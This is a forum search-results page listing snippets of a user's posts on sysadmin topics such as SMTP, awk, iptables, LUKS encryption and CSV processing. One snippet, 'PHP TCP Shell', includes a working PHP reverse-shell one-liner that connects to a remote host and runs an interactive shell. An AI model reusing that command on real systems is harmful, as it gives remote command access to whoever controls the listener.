Search Results

Search: Posts Made By: landossa
Forum: Web Development 08-28-2016
4,029
Posted By landossa
SMTP Server Configuration
Hello list,

I want to be able to send email directly from my linux box. I have both a CentOS and Debian installation. I am by no means an expert when it comes to all of the SMTP servers. I have...
3,938
Posted By landossa
PHP TCP Shell
Hello,

I am able to use the following code to test a shell connection using the local PHP interpreter which works fine:
php -r '$sock=fsockopen("10.1.1.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");'...
4,522
Posted By landossa
Thanks for pointing that out, Yoda. My bad - I...
Thanks for pointing that out, Yoda. My bad - I fixed it up.
4,522
Posted By landossa
awk match and merge with 2 files
Dear Awk experts!

I have been trying to get a one liner for a match and merge operation, but having difficulties as I'm an awk newb. I always get stuck on the match and merge with 2 files.

I...
1,671
Posted By landossa
Generating CSV from Column data
Hi List,

I have a chunk of data like so:

User Account Control:
User Account Control:
User Account Control:
User Account Control:
Disabled
User Account Control:
User Account...
8,039
Posted By landossa
Ah, thanks.. The trap function was going to be...
Ah, thanks..
The trap function was going to be my next question.
8,039
Posted By landossa
Script function which checks if itself is already running
Hi All,

I have a cron job set up which is set to run every 10 seconds.
What I need to do is have the script do a check to see if it is already running such that if it is running it wont fire up...
Forum: IP Networking 06-07-2013
3,961
Posted By landossa
That looks like just what I was looking for. I'll...
That looks like just what I was looking for. I'll do some testing with it.
Forum: Cybersecurity 06-07-2013
3,528
Posted By landossa
Yes in theory I agree with you both. :) Lets...
Yes in theory I agree with you both. :)

Lets just say that I am trying to meet compliance so that I can say the drive is encrypted, and get a check in the box.

So if there is a tool which can...
Forum: Cybersecurity 06-06-2013
3,528
Posted By landossa
Linux Encryption methods
Hi all,

I am looking to encrypt a filesystem with a CentOS 6.4 install.
However I note that when using LUKS the system does not boot without prompting for the password encryption key.

I am...
2,120
Posted By landossa
That is what the current code does. But I need...
That is what the current code does.
But I need it to source the variables from config.conf being;

eth1_ip=192.168.1.99
eth2_ip=192.168.1.123
eth3_ip=172.16.1.1
And re-write the variable from...
2,120
Posted By landossa
Calling a Variable based on a Variable
Hi all,

I have a source config file with variables like so:
eth1_ip=192.168.1.99
eth2_ip=192.168.1.123
eth3_ip=172.16.1.1
I am trying to run a script which loops based on the number of eth...
Forum: Red Hat 06-04-2013
2,614
Posted By landossa
That sounds like just the sort of thing I am...
That sounds like just the sort of thing I am looking for.

Now if this works I just need to find a way to install or image the configured state of the Live CD back to physical hardware again.
...
Forum: IP Networking 06-04-2013
3,961
Posted By landossa
Here is my current iptables file: # Firewall...
Here is my current iptables file:

# Firewall configuration written by system-config-firewall
# Manual customization of this file is not recommended.
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT...
Forum: IP Networking 06-04-2013
3,961
Posted By landossa
iptables On for eth0 and off for other interfaces
Hi all,

I am running a CentOS 6.4 box as an IDS and I need to configure one interface as the management interface which will require a firewall. However other ports (in promisc mode without IP)...
Forum: Red Hat 06-03-2013
2,614
Posted By landossa
I have installed CentOS from a minimal install CD...
I have installed CentOS from a minimal install CD to a Virtual Machine. I have then installed numerous packages from either rpm, yum, or from source. So I have a build which is configured and...
Forum: Red Hat 06-03-2013
2,614
Posted By landossa
CentOS Based Distribution
Hello list,

Not sure where to start with this so I'll start here.
I have a linux build which I use consistently and includes a series of scripts and customized configuration for packages which...
954
Posted By landossa
This works perfectly. :) So my last question...
This works perfectly. :)

So my last question is. What if I want to remove the '=' from the output so that instead of the output being:

ip_address=192.168.1.1
it reads:
ip_address 192.168.1.1...
954
Posted By landossa
Modifying Variables in Files
hi list,

I am currently looking to develop an installation script which writes out .conf files based on existing .conf files according to variables which are set in a settings file.

For example...
18,861
Posted By landossa
POP3 Mail Client (Command Line)
Hi list,

I need a POP3 mail client which I can use from the command line within a bash shell script to download email to a folder location. Can anyone recommend a good POP3 client which can be...
16,112
Posted By landossa
Thanks for the comprehensive options Chubler.....
Thanks for the comprehensive options Chubler.. I'll do some testing with this next time I'm logged in.
16,112
Posted By landossa
Inverse of Cut
Hi List,

I have a CSV file which I am manipulating. Each time I receive the CSV for processing, there will be extra columns of data.

Here's what I want to do; I want to be able to remove...
7,785
Posted By landossa
Hi chihung, I would like to hear what others...
Hi chihung,
I would like to hear what others have to say about this, thanks. As I said, developing a script in windows is not in the scope of this thread.

I would be very surprised if this task...
7,785
Posted By landossa
Hi chihung, I note there is a python module...
Hi chihung,

I note there is a python module here (http://scienceoss.com/read-excel-files-from-python/) which is able to process excel.

So back to my initial question to any Python guru's. What...
7,785
Posted By landossa
Thanks chihung, but the MS Excel file is being...
Thanks chihung, but the MS Excel file is being processed on a Linux server, so this script will require a module to run in Linux.

I'm sure there is an excel module for python to convert MS excel...
Showing results 1 to 25 of 43

 
All times are GMT -4. The time now is 08:33 AM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy